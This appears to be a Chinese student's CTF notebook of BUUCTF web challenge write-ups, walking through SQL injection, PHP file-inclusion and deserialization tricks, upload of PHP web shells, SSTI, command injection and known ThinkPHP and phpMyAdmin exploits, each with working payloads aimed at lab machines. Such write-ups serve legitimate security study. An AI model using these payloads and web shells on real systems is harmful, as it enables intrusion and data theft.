寒假横向刷题(尽量)
BUUCTF
题都写这一个里面了,还有部分是草稿还没有整理,大伙见谅,可以先用Ctrl+F搜索。有问题了乐意效劳。
2021.01.15
[HCTF 2018]WarmUp
进到靶机一个硕大的滑稽,查看源码有提示source.php
1 | <?php |
发现白名单有source.php和hint.php,先去查看一下hint.php
flag not here, and flag in ffffllllaaaagggg
分析源码
- 判断
$_REQUEST['file']
对象为空且为字符串 - 执行emmm类中的checkFile方法判断是否在白名单(确保函数返回是true)
- 文件包含
checkFile函数中字符串截取判断是否在白名单(代码17-24和26-34)所以有两种绕过方法。
- 第一种
1 | file=hint.php?../../../../../ffffllllaaaagggg |
字符串截取将原字符串尾部加上?
再截取第一个?
之前的内容。所以需要在构造payload时问号前需要是白名单里的文件。问号之后,猜测flag位置在根目录下,所以使用尽可能多的../
返回上级目录。
- 第二种
1 | hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg |
将第一种payload使用urlencode编码即可。
[强网杯 2019]随便注
根据题目尝试sql注入,单引号报错,单引号加注释无报错,说明存在sql注入,当测试输入select时返回过滤的黑名单:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
这道题使用的是堆叠注入,原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
查看数据库
1 | 1';show databases; |
查看当前库下的表
1 | 1';show tables; |
查看两张表字段
1 | 1';show columns from words; |
还有一种查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
1 | 1';desc `1919810931114514`; |
找到了flag在的字段,接下来就是如何获取该字段的值。顺带一提,根据表的结构,初步判断默认查询的是word表中的字段,而flag在1919810931114514表中。
网上找到的两种方法,分别是修改表名和使用预处理语句。
- 使用预处理语句
因为select被过滤了,但是可以使用char函数,char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
1 | char(115,101,108,101,99,116) |
根据预处理语句格式构造payload
- 创建一个sqli字符串值为查询sql语句,使用预处理语句赋值并执行。
1 | 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# |
- 不使用变量
1 | 1';PREPARE sqli FROM CONCAT('s','elect',' * from `1919810931114514`');EXECUTE sqli; # |
- 还有一种
1 | 1';SET @sqli = CONCAT('s','e','l','e','c','t',' * from `1919810931114514`');PREPARE haha FROM@sqli ;EXECUTE haha; # |
主要区别在于过滤的绕过方式,不要拘泥于一种方式。
- 修改表名
修改表名的思路是:默认查询的是word表第一个字段,所以把word表修改为其他名称,将flag所在的1919810931114514表名修改为word。
网上payload
1 | 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;# |
自己构造的payload
1 | 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) # |
之后执行
1 | 1' or 1=1 # |
查询表所有字段值即可。
[极客大挑战 2019]EasySQL
用户名密码,尝试万能密码。
1 | 'or 1=1 # |
一个万能密码的参考:https://www.cnblogs.com/pass-A/p/11134988.html
[极客大挑战 2019]Havefun
直接源码找到php代码。payload
1 | ?cat=dog |
[SUCTF 2019]EasySQL
单引号无报错,尝试堆叠注入可以回显。
和 [强网杯 2019]随便注这道题一样查库查表查字段
1 | 1;show databases; |
但是执行
1 | 1;desc `Flag`; |
返回了”Nonono.“测试出被过滤了:desc、from、Flag。
接下来的都是抄网上的预期解也是第一次见。
比赛时源码泄露
1 | select $_GET['query'] || flag from flag |
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
payload
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
非预期解
1 | *,1 |
[ACTF2020 新生赛]Include
不截图了,进入靶机只有一个tips等着被点。跳转以后看url中参数
1 | ?file=flag.php |
页面内容只有
Can you find out the flag?
立马想到使用php伪协议读文件内容。使用filter过滤器
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
得到
1 | PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTAyNTIyNDgtMjY3NC00NDdjLWFlYWMtYjc3ZTc5YjYwMzVmfQo= |
解密得到flag
[极客大挑战 2019]Secret File
查看源码,又一个背景是黑色的超链接跳转到 Archive_room.php。
查看源码SECRET跳转的是action.php。
但是跳转以后是url地址为end.php,所以中间跳过了一个页面,使用bp抓包查看。
stristr()函数返回字符串中子串第一次出现位置之后的内容,简而言之还是过滤。
同样使用php伪协议filter过滤器读取文件
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
1 | PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZmZjZTAwNWYtYjEyOS00YWM1LTg3MzYtZDM3YzUwYjYxNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= |
解密得到网页源码,flag在其中。
[极客大挑战 2019]LoveSQL
顶端の告诫:用 sqlmap 是没有灵魂的
尝试万能密码(其实没卵用)
1 | 'or 1=1 # |
这道题是常规的sql注入,测注入点、查字段数、爆库、爆字段值、爆表。组合拳
字段数:
1 | 1' order by 3 # |
爆库:
1 | 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # |
爆字段值:
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' # |
爆表:
1 | 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 # |
2021.01.21
[GXYCTF2019]Ping Ping Ping
[ACTF2020 新生赛]Exec
肯定是尝试管道符
1 | 127.0.0.1|cat /flag |
[护网杯 2018]easy_tornado
打开页面三个超链接
/flag.txt
/welcome.txt
hints.txt
内容分别是
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
进入hints.txt注意到url地址此时为
1 | /file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa |
再根据hints.txt文件的内容,推断可以使用url方式访问文件,但是需要提供filehash值,加密的方法即hints.txt的内容:md5(cookie_secret+md5(filename))。flag文件的名称filename
有了,接下来就是获取cookie_secret
的值。
接下来触及到盲区了,获取cookie_secret是看wp。
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
获取cookie_secret的payload
1 | /error?msg={{handler.settings}} |
获得cookie_secret的值为
1 | eb326d39-cd67-47bd-b2d3-71125996417b |
根据hints.txt的url验证一下是如何加密的。
选中的蓝色部分是/hints.txt
加密后的md5值。推断出filehash格式以后直接访问flag文件,payload:
1 | /file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa |
[极客大挑战 2019]Knife
一句话直接连。
[RoarCTF 2019]Easy Calc
一个计算器随便试一试,当输入字母时会报错。查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释
1 | <!--I've set up WAF to ensure security.--> |
php的正则表达式中并没有过滤字母的条件,所以我们输入字母被过滤是因为WAF,接下来是参考网上的wp自己的理解
可以在calc.php传参
1 | ? num=a |
php会输出一个值a,说明已经绕过了WAF。这里使用的是WAF和php解析方法不一样,WAF解析到空格’ ‘会直接过滤掉,这样WAF认为传入的就是一个空值,并不会识别num,但是php解析的时候会把空格去掉,这样就能get到num的值。
接下来绕过正则就可以使用char()的方式使用ascii码转。空格被过滤但是想使用php输出可以使用var_dump()
查看根目录下文件,可以使用scandir()遍历文件夹,其中char(47)——> ‘/‘ :
1 | ? num=1;var_dump(scandir(chr(47))) |
找到了疑似flag文件:f1agg,使用file_get_contents()读取文件
1 | ?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
[极客大挑战 2019]Http
查看源码在”氛围”这两个字上有隐藏的跳转Secret.php。进入以后页面显示
1 | It doesn't come from 'https://www.Sycsecret.com' |
提示页面不是来自这个网址,所以在HackBar上加上Referer。之后又提示
1 | Please use "Syclover" browser |
加上User-Agent。提示
1 | No!!! you can only read this locally!!! |
加上X-Forwarded-For。HTTP X-Forwarded-For 介绍
最终的请求头:
1 | GET /Secret.php HTTP/1.1 |
[极客大挑战 2019]PHP
源码备份在www.zip
中。下载以后有五个文件
class.php
flag.php
index.js
index.php
style.css
在index.php中有一段代码
1 | <?php |
再结合又一个class.php,所以这道题考点应该是反序列化。
class.php
1 | <?php |
获取flag的代码位置是30-32行。分析这个Name对象,创建对象时可以为对象赋值,对象销毁时会判断password值是否是100,且username值是否为admin,如果两者都成立输出flag,但是__wakeup()会在反序列化时调用将username值置为guest,所以需要反序列化逃逸。
我使用的构造对象
1 | <?php |
反序列化逃逸,使对象属性的数量大于原来的值,就可以绕过wakeup函数。最终payload
1 | ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} |
[极客大挑战 2019]Upload
先尝试上传一个gif图片马内容为
1 | GIF89a |
页面提示过滤:
NO! HACKER! your file included ‘<?’
尝试script执行php代码
1 | <script language="php">eval($_POST['cmd'])</script> |
可以上传,文件在/upload目录下。尝试修改后缀上传,phtml上传成功,可以执行php和script代码,使用蚁剑连接。
2021.01.28
[极客大挑战 2019]BabySQL
尝试万能密码,发现报错了:1=1#’ and password=’123’,也许是or被过滤了或者删掉了,尝试大小写无果,但是尝试双写通过了。需要注意的是爆表,爆数据库的语句中有information这个词,其中的for也会被过滤。其他过滤的词我遇到的有:union,select、from、where、and。
爆数据库(填密码):
1 | 1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() # |
爆表:
1 | 1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' # |
爆字段值:
1 | 1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql # |
[ACTF2020 新生赛]Upload
指针放在灯泡上护显示上传文件的,图片马
233.gif
1 | GIF89a |
尝试phtml是否被过滤,直接上传成功。蚁剑连接
1 | ------WebKitFormBoundaryUMSByAQmR2cduL6R |
[HCTF 2018]admin
可以在注释里找到
思路应该是只要我们是admin登陆就可以得到flag,可以找到注册按钮,不能注册admin,那就随便注册一个进去看看。找到几个功能。
- post。发表文章,但是没能找到在哪里打开
- change password。改密码,尝试下能不能抓包改到admin的密码
修改密码抓到的包:
感觉并没有什么下手的地方,唯一的就是session可能和身份有关。
以下的是看网上的wp
[ACTF2020 新生赛]BackupFile
1 | Try to find out source file! |
题目提示备份文件,备份文件常见后缀:
.git .svn .swp .~ .bak .bash_history
尝试index.php.bak,下载了一个备份文件:
1 | <?php |
传一个必须为数字的参数key,使用intval()函数处理,字符串相等则输出flag。这就想到了PHP中的==
和===
的区别。贴一段简单代码
1 | <?php |
==
在执行关系运算时,要求运算符两边的数据类型必须一致,所以等号右边的字符串被强制转换为了整型,若有一方为数字,另一方为字符串或空或null,均会先将非数字一方转化为0,再做比较。如果字符串是以数字开头的,就会截取直到遇到第一个字母。
全等于===
操作过程如下:
- 操作符两边的数据类型如果不相同,返回false 。
- 操作符两边的值如果不相同,返回false 。
- 最后将上面2步的操作进行与操作。返回与操作的结果。
所以最终的payload:
1 | ?key=123 |
[极客大挑战 2019]BuyFlag
网站题直接去看源码,在源码也搜索php有两个:index.php、pay.php。前者是首页,直接看后面的那个,打开就有提示
Only Cuit’s students can buy the FLAG
应该还是一道http的套娃题。查看网页的请求发现Cookie中有一个user=0,很可疑,改成user=1,有了下一个提示:输入密码,并且源码中有一段php
1 | <!-- |
还记得php==
关系运算会强制转换类型,用POST传一个password=404a,404a
会被强制转换为404
,密码就对上了。接下来是钱的问题,flag需要100000000块钱我们也去要传过去。如果直接传入这么长的会提示字符串过长,所以我想到了科学计数法,10e10
,就是10的10次方,通过。最终的请求:
1 | POST /pay.php HTTP/1.1 |
[SUCTF 2019]CheckIn
知识点
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.
准备好.user.ini文件内容为自动包含图片马,因为上传会检查文件头,所以添加了一个GIF文件头伪装:
1 | GIF89a |
接下来上传图片马,尝试了正常上传PHP马会提示:
<? in contents!
所以使用script马执行php:
1 | GIF89a |
上传成功后会提示文件路径:
Your dir uploads/852aff287f54bca0ed7757a702913e50
Your files :
array(5) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “.user.ini” [3]=> string(7) “233.gif” [4]=> string(9) “index.php” }
这时候.user.ini文件已经会帮我们自动包含图片马了,所以我们只需要访问一个PHP文件即可,正好上传目录下又一个index.php文件,可以直接蚁剑连接或者cat flag。
[BJDCTF2020]Easy MD5
参考:
随便输入一些东西都没有反应,在请求头中发现了一个Hint:
select * from ‘admin’ where password=md5($pass,true)
语法
md5(string,raw)
参数 | 描述 |
---|---|
string | 必需。要计算的字符串。 |
raw | 可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串 |
概括理解,这里如果raw参数为true
的话,这个函数的返回值是string
的md5加密值进行十六进制解码的字符串。这道题我当时是直接看了源码跳过了第一层,第一层的答案其实是ffifdyop
,我们来对它进行一波操作
源字符串:ffifdyop
md5加密值:276f722736c95d99e921722cf9ed621c
hex解码:’or’6É].é!r,ùíb.
最后那几个应该是不可见字符,重要的是前面一段:'or'6
,这里还要说明一下,这提示应该不算严谨,真正的sql语句应该是在md5函数前后各一个'
单引号。执行以后真正的sql语句为
1 | select * from 'admin' where password=''or'6É].é!r,ùíb.‘ |
可以看到原理是构成一个闭合,这里还有第二个知识点,是or后面的字符串被认为是true,引用文章里的一段:
a string starting with a
1
is cast as an integer when used as a boolean.在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
自己进行的测试:
所以真正的解法是只要sql语句的格式为password=’xxxxxxxx’ or ‘1xxxx’,即hex包含字符串”276f722731”(’or’1),其实or后面开头只要是数字即可,1-9的hex范围为31-39。
下面这个程序是这道题开头参考列表中的第三个链接。
1 | <?php |
这个程序遍历数字进行md5加密,使用stripos匹配是否有'or'
,这个函数有一个弊病就是如果是以'or'
开头的不会匹配到,并且我们需要的是or后面以数字开头都可以,所以需要稍微做一些修改,使用正则表达式由\'or\'
改为'or'([1-9]+|0+[1-9])
不过我的方法自己还没跑出来🤣,回头加个多线程试一试
(更新)
自己写了一个python程序,放在学生服务器上跑了一个下午加一个晚上,出了两个答案,好家伙从1跑到52亿:
1 | 找到了md5(2413633098): |
程序源码如下(自己写着玩,轻喷):
1 | # codeing = utf-8 |
虽然不知道多整几个能用的值可以干什么,但是觉得自己写的程序跑出来答案就很爽🤣。
还有一个能用的md5值:
1 | content: 129581926211651571912466741651878684928 |
以上是第一层。
第二层可以直接在源码中看到注释。
1 | $a = $GET['a']; |
简单的md5以0E开头
1 | a=QNKCDZO&b=240610708 |
第三层
1 | <?php |
这一有一些不同的是md5比较使用了===
不仅比较类型还比较值。但是md5有一个:
1 | md5([1,2,3]) == md5([4,5,6]) == NULL |
所以传入两个数组,又能保证两个变量不相等,md5加密有都是NULL且类型是数组类型,注意数组里的值还是不可以一样的。
1 | param1[]=1¶m2[]=2 |
[ZJCTF 2019]NiZhuanSiWei
1 | <?php |
先来一段PHP伪协议总结,这题的第一步是判断传入text参数并读取内容,判断内容为welcome to the zjctf,使用data://
伪协议。
1 | ?text=data://text/plain,welcome to the zjctf |
接下来是文件包含,有了提示useless.php
肯定要读一读看看,使用php://filter
伪协议。
1 | ?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php |
得到的内容
1 | <?php |
并且文件包含下面有一个反序列化,又看到了__tostring
函数,当一个对象被当作字符串对待的时候,会触发这个魔术方法。我构造的对象
1 | <?php |
在传入对象之前当然要把读取文件流改为正常包含文件了。最终payload
1 | ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
草稿线
[CISCN2019 华北赛区 Day2 Web1]Hack World
1 | import requests |
[极客大挑战 2019]HardSQL
爆表
1 | ?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23&password=1 |
H4rDsq1
爆字段
1 | ?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23&password=1 |
出数据:
用left和right,可以先用length查看长度拼一下
1 | ?username=admin%27or(extractvalue(1,concat(0x7e,(select(left(password,35))from(H4rDsq1)),0x7e)))%23&password=1 |
flag{112bb5db-17a4-47e2-97b4-19
1 | ?username=admin%27or(extractvalue(1,concat(0x7e,(select(right(password,11))from(H4rDsq1)),0x7e)))%23&password=1 |
dc295a017f}
[网鼎杯 2018]Fakebook
非预期解,博客,使用load_file
1 | ?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 |
在注释里找
预期解
爆表
1 | ?no=-1%20union/***/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%23 |
爆字段
1 | ?no=-1 union/***/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23 |
出数据
1 | ?no=-1 union/***/select 1,group_concat(no,username,passwd,data),3,4 from users |
1 | O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:20:"http://www.baidu.com";} |
说明使用反序列化获取对应栏的数据,下面又一个iframe的标签,根据提示the contents of his/her blog,得知我们提供的网址会在这里显示,有一个php伪协议file://可以读取本地文件,所以构造一个序列化对象。
1 | <?php |
最终payload
1 | ?no=-1%20union/***/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from%20users |
在iframe里面找
[网鼎杯 2020 青龙组]AreUSerialz
思路:https://blog.csdn.net/Oavinci/article/details/106998738
反序列化,是protected,但是会判断字符串ascii>32,
PHP7.1以上版本对属性类型不敏感、用public绕过
序列化字符串中s替换为S,支持字符串用16进制,
__destruct()中强比较和process()中弱比较,使用op=2,int类型绕过。
正常读取没有权限,使用php://filter读。
[MRCTF2020]你传你🐎呢
htaccess、gif不行,jpg可以,直接传码
[BJDCTF 2nd]fake google
注释里有ssti,模板注入
https://blog.csdn.net/qq_40657585/article/details/83657220
直接读文件。payload
1 | ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %} |
[GYCTF2020]Blacklist
sql注入,测试出来表的语句
1 | -1';show tables; # |
1 | -1';desc `FlagHere`; # |
新姿势
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
1 | -1';handler FlagHere open;handler FlagHere read first;handler FlagHere close # |
[强网杯 2019]高明的黑客
思路就是用脚本匹配文件中的shell,然后试一试,抄的脚本
1 | # codeing = utf-8 |
[MRCTF2020]Ez_bypass
源码绕过即可,第一层注意使用的是强比较
payload
1 | ?id[]=1&gg[]=2 |
[BUUCTF 2018]Online Tool
利用了两个点
nmap可以将扫描的结果存储在文件里。
escapeshellarg+escapeshellcmd同时使用有一些漏洞
payload
1 | '<?php eval($_POST[_]) ?> -oG 1.php ' |
执行指令是会创建一个sandbox文件夹,访问1.php,POST传参
1 | _=system('cat /flag') |
加空格目的应该是为了防止文件名后缀中出现符号
1 | <?php |
1 | '<?php eval() ?> -oG 1.php ' |
[RoarCTF 2019]Easy Java
是java写的web程序
WEB-INF/web.xml泄露
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
重点不在登陆,是那个Help按钮,可以下载文件,首先去读web.xml文档,然后根据servlet下载Flag过滤器对应的class文件读源码
[GKCTF2020]cve版签到
只有一个按钮,点击以后查看网页的Network请求中有一个
Hint: Flag in localhost
且utl地址中有可控的参数,所以应该是使用ssrf。这里还有一个提示是在主页面那里
You just view *.ctfhub.com
只可以访问以ctfhub.com结尾的网站,再根据cve使用%00截断访问:
1 | ?url=http://127.0.0.1%00.ctfhub.com |
第二个提示:
Host must be end with ‘123’
必须以123结尾,所以最终payload
1 | ?url=http://127.0.0.123%00.ctfhub.com |
[GXYCTF2019]禁止套娃
git泄露。我使用的https://github.com/gakki429/Git_Extract
1 | <?php |
正则表达式匹配的只有函数的形式如var_dump();
是一道无参数RCE,看的题解自己整理的payload:
1 | ?exp=var_dump(readfile(array_rand(array_flip(scandir(current(localeconv())))))); |
一层一层解释:
localeconv() 函数返回一包含本地数字及货币格式信息的数组
图片展示
current() 返回数组中的当前单元, 默认取第一个值。别名pos()
到这里获得的是一个点
scandir() 遍历目录,是.
的话就是列出当前目录。
此时输出:
1 | array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" } |
这时的输出还是键值对的形式,我们需要使用array_flip()
函数交换键值对,然后使用随机函数array_rand()
从数组中随机取出一个或多个单元。因为正则的原因无法使用file_get_contents()
,但是还有其他读取文件的函数:readfile()、highlight_file()和它的别名函数show_source()。
[GXYCTF2019]BabyUpload
ph过滤,image/gif不能通过。image/jpe可以
上传.htaccess
1 | SetHandler application/x-httpd-php |
上传码,但是不能是php代码,使用js
1 | <script language="php">eval($_REQUEST[shell])</script> |
完工
[BJDCTF 2nd]old-hack
ThinkPHP的漏洞
ThinkPHP5 5.0.23
1 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag |
[安洵杯 2019]easy_web
看url一个img和cmd,页面中有一个图片的标签,和一个**md5 is funny ~**。把url中img的值进行解码发现图片名为555.png
,尝试用同样的编码方式读取index.php,加密的编码依次为:hex–>base64–>base64。
index.php
1 | <?php |
我不知道为什么,我的bp一定要在&
前加一个空格才可以通过。
1 | ?cmd=uniq%20/flag |
读文件的绕过有
1 more:一页一页的显示档案内容 2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 3 head:查看头几行 4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 5 tail:查看尾几行 6 nl:显示的时候,顺便输出行号 7 od:以二进制的方式读取档案内容 8 vi:一种编辑器,这个也可以查看 9 vim:一种编辑器,这个也可以查看 10 sort:可以查看 11 uniq:可以查看 12 file -f:报错出具体内容
[BJDCTF2020]Mark loves cat
git泄露
flag.php
1 | <?php |
index.php
1 | <?php |
尝试输出$flag
即可。exit()函数退出时也会输出。
第一个不可能实现,如果POST或GET传入flag的话必然导致$flag
修改,那么正好符合第二个if。
payload
1 | GET |
[BJDCTF2020]The mystery of ip
hint.php里面有注释
Do you know why i know your ip?
去flag.php尝试加入请求头x-forward-x、client-ip发现ip可以改变。然后是自己感觉网页很简单,突破点在请求头中,尝试了下ssti模板注入,发现成功了。
尝试了几个ssti的payload不行,但是提示了
Uncaught –> Smarty Compiler:…………………
得知了这个是Smarty引擎,在网上尝试搜索这种类型的注入
1 | X-Forwarded-For: {system('cat /flag')} |
SSTI神器–Tplmap,看介绍是和sqlmap差不多的工具。
[GWCTF 2019]我有一个数据库
页面是乱码,想知道内容了可以看下图
$$各种乱码图
对照的是古文码。是以GBK方式读取UTF-8编码的中文,我举个例子,使用vscode,先通过编码保存–>GBK,再通过编码打开–>UTF-8。内容如下
我有一个数据库,但里面什么也没有~
不信你找
提示是数据库了,那么果断尝试PHPmyadmin,访问成功,然后查看下版本,去网上搜索对应版本的漏洞
payload
1 | /phpmyadmin/index.php?target=db_sql.php%253f../../../../../../flag |
可以包含任意文件,理应可以包含数据库文件,在数据库表字段写shell,没成不知道数据库文件名称
[BJDCTF2020]ZJCTF,不过如此
绕过
第一层用php伪协议中的data封装流。PHP伪协议总结
然后进入文件包含,提示包含next.php文件,还是使用php伪协议中的php://filter
payload
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |
读出来的next.php
1 | PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K |
base64解码:
1 | <?php |
这里想要通过需要知道一个深入研究 preg_replace /e 模式下的代码漏洞问题
最终payload
1 | next.php?\S*=${getFlag()}&cmd=system('cat /flag'); |
[De1CTF 2019]SSRF Me
进入页面是一堆源码,之前写过flask的可以大概理出来几个重要的点,但是还是贴一下源码
1 | #! /usr/bin/env python |
简单说明思路:
请求部分(代码69-78):
获取的param是需要打开文件的名称,提示中已经写出flag在flag.txt。根据使用函数,可以使用get传参 |
---|
读取文件需要在cookie里传入参数action、sign |
action是执行类型,代码33行和43行指出了两种。 |
sing是用来验证param和action的,相关函数在94行,稍后做解释 |
获取sign部分(61-66)
获取param,action固定为scan |
---|
返回(secert_key + param + action)组合的sign |
所以我们需要先获取sign,获取sign时包含的param和action,再去请求文件获得flag,并且获取flag时会验证sign是否符合格式(代码32行、54-58行)。因为获取sign时action固定为scan(代码65),但是请求中我们需要使用read才可以访问,所以构造payload。
假如param=flag.txt,获取sign时action固定值为scan,此时的sign为(使用|
仅为说明使用,其实字符串是相连的)
1 | secert_key|flag.txt|scan |
但是我们想要使用read,可以构造param为flag.txtread
1 | secert_key|flag.txtread|scan |
再进行验证的时候我们传入param为flag.txt,action为readscan即可符合格式。
1 | secert_key|flag.txt|readscan |
请求/geneSign
1 | /geneSign?param=flag.txtread |
得到
1 | 9017a8826b7267833f22c0f22d90fea7 |
得到sign以后,再去访问/De1ta
1 | /De1ta?param=flag.txt |
获得flag
[网鼎杯 2020 朱雀组]phpweb
看源码,有一个表单和自动提交的js。表单参数为
1 | func=date&p=Y-m-d+h%3Ai%3As+a |
是一个获取时间的函数。尝试注入点func是函数,就试试常见的读取文件函数readfile可以读取index.php
1 | <?php |
我没思路了,看的网上wp。使用了反序列化unserialize,实在是太斯巴拉西了。
先构造Test对象,对象销毁时也会执行gettime函数执行payload,记得要加一层urlencode,不然会被拦下
1 | <?php |
wp使用的是find指令找的flag地址,但是我执行以后出现503,应该是服务器防火墙阳气过盛,但是使用ls的方法一个一个找也能找得到。flag在/tmp/flagoefiu4r93
1 | POST |
最后读文件
